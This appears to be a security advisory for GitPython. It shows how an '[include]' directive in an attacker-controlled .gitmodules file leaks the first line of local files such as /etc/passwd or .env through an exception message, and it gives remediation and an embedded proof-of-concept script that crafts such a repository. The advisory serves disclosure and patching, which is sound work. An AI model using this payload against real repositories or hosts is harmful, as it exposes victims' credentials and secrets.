GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치
CVSS 벡터 · 메트릭
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H상세 설명
[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
- CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
- Affected component:
git/objects/submodule/base.py,Submodule._config_parser()(~line 273) constructingSubmoduleConfigParser(fp_module, read_only=read_only);git/config.py,GitConfigParser.__init__(merge_includesdefault),GitConfigParser.read()/_included_paths()(include-path resolution, ~lines 630-685),GitConfigParser._read()(~line 493-498,MissingSectionHeaderError) - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).
That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.
GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.
Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.
Root cause
Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)
Exploit path
- Attacker crafts a repository whose
.gitmodulescontains a legitimate-looking[submodule ...]section plus:(an absolute path bypasses any traversal reasoning entirely; a relativetext1[include]2 path = /etc/passwd../../../../etc/passwd-style path works too). - Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules:
list(repo.submodules)(or anyfor sm in repo.submodules) — noupdate(),init(), or checkout of any kind required. SubmoduleConfigParser(inheritingmerge_includes=True) follows the[include]directive, opens/etc/passwd, andGitConfigParser._read()raisesMissingSectionHeaderErrorwhose message embeds/etc/passwd's first line verbatim.- This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on
repo.submodules— disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).
Preconditions
- Victim clones (or otherwise opens with GitPython) a repository whose
.gitmodulesis attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches
repo.submodules— one of the most ordinary GitPython operations, requiring no submoduleupdate/init/checkout. - No authentication/role requirement inside GitPython itself.
Evidence
git/config.py—GitConfigParser.__init__defaultsmerge_includes=True.git/objects/submodule/base.py:273—SubmoduleConfigParser(fp_module, read_only=read_only)passes neithermerge_includesnorrepo=;git blameshows this call unchanged since the class was introduced, andgit show 41ecc6a4confirms that commit touched onlygit/repo/base.py'sRepo.config_writer(), never this call site.git/config.py_included_paths()/read()(~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs()short-circuit); no repository-boundary containment check exists anywhere in this path.git/config.py_read()(~493-498) — raisescp.MissingSectionHeaderError(fpname, lineno, line)with the raw file line embedded, matching Python stdlibconfigparser's own__str__behavior.Submodule.iter_items()catches only(IOError, BadName)—configparser.Error(the base ofMissingSectionHeaderError) is not swallowed.- PoC (
gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from+list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and/etc/passwd.
False-positive check (adversarial re-read)
- Is this the same bug as
GHSA-hmq2-w58f-27jc? No — that advisory is about the.gitmodulessubmodule name driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - Is this the same bug as
GHSA-cwvm-v4w8-q58c(blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives ingit/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution. - Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard
clone_from+list(repo.submodules)workflow. - Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading
Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and
/etc/passwd.
Remediation
Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence
High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
1#!/usr/bin/env python3 2""" 3GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped 4inside a cloned repository -- can contain `[include] path = <any local path>`. 5`Submodule._config_parser()` builds the parser used for `repo.submodules` (and 6other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)` 7without passing `merge_includes=False`, so the class default `merge_includes=True` 8is inherited. GitConfigParser then opens the target file; if it isn't valid 9git-config syntax (true of virtually any non-gitconfig file), Python's10`configparser.MissingSectionHeaderError` embeds the file's first line verbatim11in its exception message, which propagates out of the ordinary, read-only12`repo.submodules` call -- a non-blind local file content disclosure primitive.13 14Run:15 PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>16 17Benign: reads only the given <target-file> (defaults to a throwaway secret file18created under <workdir> if omitted) and never writes/exfiltrates it anywhere19except printing it locally to prove the primitive. No destructive action.20"""21import os22import subprocess23import sys24 25 26def main():27 workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"28 target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")29 30 attacker_repo = os.path.join(workdir, "attacker-repo")31 dest = os.path.join(workdir, "dest")32 for p in (attacker_repo, dest):33 os.makedirs(p, exist_ok=True)34 35 if not os.path.exists(target_file):36 os.makedirs(os.path.dirname(target_file), exist_ok=True)37 with open(target_file, "w") as f:38 f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")39 40 subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)41 subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)42 subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)43 44 with open(os.path.join(attacker_repo, "file.txt"), "w") as f:45 f.write("hello\n")46 47 with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:48 f.write(49 '[submodule "totally-normal-dep"]\n'50 "\tpath = vendor/dep\n"51 "\turl = https://example.com/dep.git\n"52 "[include]\n"53 "\tpath = %s\n" % target_file54 )55 56 subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)57 subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)58 59 import git # gitpython under test60 import configparser61 62 repo = git.Repo.clone_from(attacker_repo, dest)63 64 try:65 subs = list(repo.submodules)66 print("NOT VULNERABLE: no exception raised, submodules =", subs)67 sys.exit(1)68 except configparser.MissingSectionHeaderError as e:69 msg = str(e)70 print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")71 print(msg)72 with open(target_file) as f:73 first_line = f.readline().rstrip("\n")74 if first_line in msg:75 print("Confirmed: target file's first line is present verbatim in the exception message.")76 sys.exit(0)77 else:78 print("NOT VULNERABLE: exception message did not contain the expected content")79 sys.exit(1)80 81 82if __name__ == "__main__":83 main()AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 8
링크 내용 불러오는 중…